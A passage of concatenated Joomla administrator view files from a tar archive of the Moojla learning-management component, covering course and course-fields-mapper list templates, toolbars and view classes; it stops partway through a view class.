<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Courses'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/courses/tmpl/index.html000064400000000054151165724410012342
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/courses/view.html.php000064400000022454151165724410012027
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Courses
*/
class MoojlaViewCourses extends JViewLegacy
{
/**
* Courses view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('courses');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('course');
$this->canEdit = $this->canDo->get('course.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('course.create');
$this->canDelete = $this->canDo->get('course.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_COURSES'),
'list');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=courses');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('course.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('course.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('courses.publish');
JToolBarHelper::unpublishList('courses.unpublish');
JToolBarHelper::archiveList('courses.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('courses.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->user->authorise('course.update_courses',
'com_moojla'))
{
// add Update courses button.
JToolBarHelper::custom('courses.updateCourse', 'book
custom-button-updatecourse', '',
'COM_MOOJLA_UPDATE_COURSES', 'true');
}
if ($this->user->authorise('course.sync_tag',
'com_moojla'))
{
// add Sync tag button.
JToolBarHelper::custom('courses.syncTags', 'tags
custom-button-synctags', '',
'COM_MOOJLA_SYNC_TAG', 'true');
}
if
($this->user->authorise('course.fetch_moojla_enrolment',
'com_moojla'))
{
// add Fetch moojla enrolment button.
JToolBarHelper::custom('courses.fetchMoojlaEnrolment',
'address custom-button-fetchmoojlaenrolment', '',
'COM_MOOJLA_FETCH_MOOJLA_ENROLMENT', 'true');
}
if
($this->user->authorise('course.migrate_from_joomdle',
'com_moojla'))
{
// add Migrate from Joomdle button.
JToolBarHelper::custom('courses.migrateFromJoomdle',
'database custom-button-migratefromjoomdle', '',
'COM_MOOJLA_MIGRATE_FROM_JOOMDLE', 'true');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('', 'courses.delete',
'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('courses.trash');
}
if ($this->canDo->get('core.export') &&
$this->canDo->get('course.export'))
{
JToolBarHelper::custom('courses.exportData',
'download', '', 'COM_MOOJLA_EXPORT_DATA',
true);
}
}
if ($this->user->authorise('course.fetch',
'com_moojla'))
{
// add Fetch button.
JToolBarHelper::custom('courses.fetchCourses', 'contract
custom-button-fetchcourses', '',
'COM_MOOJLA_FETCH', false);
}
if ($this->user->authorise('course.sections',
'com_moojla'))
{
// add Sections button.
JToolBarHelper::custom('courses.goToSections', 'briefcase
custom-button-gotosections', '',
'COM_MOOJLA_SECTIONS', false);
}
if ($this->user->authorise('course.modules',
'com_moojla'))
{
// add Modules button.
JToolBarHelper::custom('courses.goToModules', 'image
custom-button-gotomodules', '',
'COM_MOOJLA_MODULES', false);
}
if ($this->user->authorise('course.contents',
'com_moojla'))
{
// add Contents button.
JToolBarHelper::custom('courses.goToContents',
'bubble-quote custom-button-gotocontents', '',
'COM_MOOJLA_CONTENTS', false);
}
if ($this->canDo->get('core.import') &&
$this->canDo->get('course.import'))
{
JToolBarHelper::custom('courses.importData',
'upload', '', 'COM_MOOJLA_IMPORT_DATA',
false);
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('courses');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Category Batch selection.
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_CATEGORY'),
'batch[category]',
JHtml::_('select.options',
JHtml::_('category.options', 'com_moojla.course'),
'value', 'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_COURSES'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/courses.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'a.shortname' =>
JText::_('COM_MOOJLA_COURSE_SHORTNAME_LABEL'),
'a.fullname' =>
JText::_('COM_MOOJLA_COURSE_FULLNAME_LABEL'),
'category_title' =>
JText::_('COM_MOOJLA_COURSE_COURSES_CATEGORIES'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/course_fields_mapper/index.html000064400000000054151165724410014075
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_fields_mapper/tmpl/default.php000064400000007317151165724410015222
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen',
'.multipleAccessLevels', null,
array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_ACCESS') . ' -'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=course_fields_mapper.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable',
'course_field_mapperList', 'adminForm',
strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=course_fields_mapper');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="course_field_mapperList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_COURSE_FIELDS_MAPPER_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
<script type="text/javascript">
// course_fields_mapper footer script
/***[JCBGUI.admin_view.javascript_views_footer.138.$$$$]***/
jQuery(document).ready(function($){
$('#course_field_mapperList tbody tr
td:nth-child(5)').each(function(){
var imgPath = '<?php echo JURI::root(true) .
"/";?>' + $(this).text();
$(this).html('<img rel="popover" src="'+
imgPath +'" width="30" data-img="'+ imgPath
+'" />');
});
$('img[rel=popover]').popover({
html: true,
trigger: 'hover',
placement: 'bottom',
content: function(){return '<img
src="'+$(this).data('img') + '"
/>';}
});
});
/***[/JCBGUI$$$$]***/
</script>
views/course_fields_mapper/tmpl/default_batch_body.php000064400000002347151165724410017376
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo
JText::_('COM_MOOJLA_COURSE_FIELDS_MAPPER_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/course_fields_mapper/tmpl/default_batch_footer.php000064400000002745151165724410017741
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('course_field_mapper.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/course_fields_mapper/tmpl/default_body.php000064400000010066151165724410016232
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=course_fields_mapper&task=course_field_mapper.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('course_field_mapper',$item,'course_fields_mapper');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->coursefield_name); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time,
'course_fields_mapper.', $canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->coursefield_name); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->mcoursefields_id); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->field_icon); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_fields_mapper.', true,
'cb'); ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_fields_mapper.', false,
'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'course_fields_mapper.', true,
'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'course_fields_mapper.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/course_fields_mapper/tmpl/default_foot.php000064400000002304151165724410016240
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/course_fields_mapper/tmpl/default_head.php000064400000005016151165724410016175
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_COURSEFIELD_LABEL');
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_MCOURSEFIELDS_LABEL');
?>
</th>
<th class="nowrap hidden-phone" >
<?php echo
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_FIELD_ICON_LABEL');
?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_FIELD_MAPPER_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_STATUS'); ?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_FIELD_MAPPER_ID', 'a.id',
$this->listDirn, $this->listOrder); ?>
</th>
</tr>views/course_fields_mapper/tmpl/default_toolbar.php000064400000007067151165724410016746
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Course_fields_mapper'); ?>"
/>
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/course_fields_mapper/tmpl/index.html000064400000000054151165724410015051
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_fields_mapper/view.html.php000064400000017041151165724410014532
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Course_fields_mapper
*/
class MoojlaViewCourse_fields_mapper extends JViewLegacy
{
/**
* Course_fields_mapper view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('course_fields_mapper');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo =
MoojlaHelper::getActions('course_field_mapper');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
